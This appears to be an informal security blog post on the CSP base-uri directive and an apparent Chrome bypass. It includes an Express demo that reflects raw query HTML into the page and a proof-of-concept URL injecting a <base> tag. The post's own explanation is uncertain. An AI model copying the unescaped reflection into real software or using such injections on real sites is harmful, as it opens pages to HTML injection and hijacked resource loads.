CSP base-uri can be bypassed (Chrome in 2025???)
What is base-uri
the base-uri directive controls which urls can be used in the <base> element of an html document. without it, an attacker could inject a
1
content-security-policy: base-uri 'self'
- ‘self’ → only allow the same origin
- specific urls → only allow those hosts
- ‘none’ → completely disallow <base> tags
1
content-security-policy: base-uri 'self'
prevents <base href=”https://evil.com/”> from working
1
content-security-policy: base-uri https://cdn.example.com
only <base href=”https://cdn.example.com/”> is valid
1
content-security-policy: base-uri 'none'
any <base> tag will be ignored
so if an attacker injects a malicious <base href=”https://evil.com/”> all relative links (like /login, /script.js) could redirect or load from their server. base-uri blocks this and helps protect against script injection, phishing, and data exfiltration
How it can be bypassed
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const express = require("express");
const app = express();
const PORT = process.env.PORT || 5555;
app.use((req, res, next) => {
res.set("Content-Security-Policy", "base-uri 'none'");
next();
});
app.get("/", (req, res) => {
const html = req.query.html || "";
res.type("html").send(`<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>CSP base-uri demo</title>
</head>
<body style="font-family:system-ui;line-height:1.4">
<div id="injected">${html}</div>
<img src="/103fj3oeqdnf91o3gjm">
</body>
</html>`);
});
app.listen(PORT, () => {
console.log(`up on http://127.0.0.1:${PORT}`);
});
// http://localhost:5555/?html=%3Cbase%20href=//google.com%3E%3Cimg%20src=%22/xxd%22%3E
there is a server with base-uri set to none
when visting the page, it is expected that the <base> tag will not be applied due to the csp. however, when actually visiting the link, it seems that before the csp is enforced, the tags are loaded and a request is being sent to google.com
idk why it happened, it’s just crazy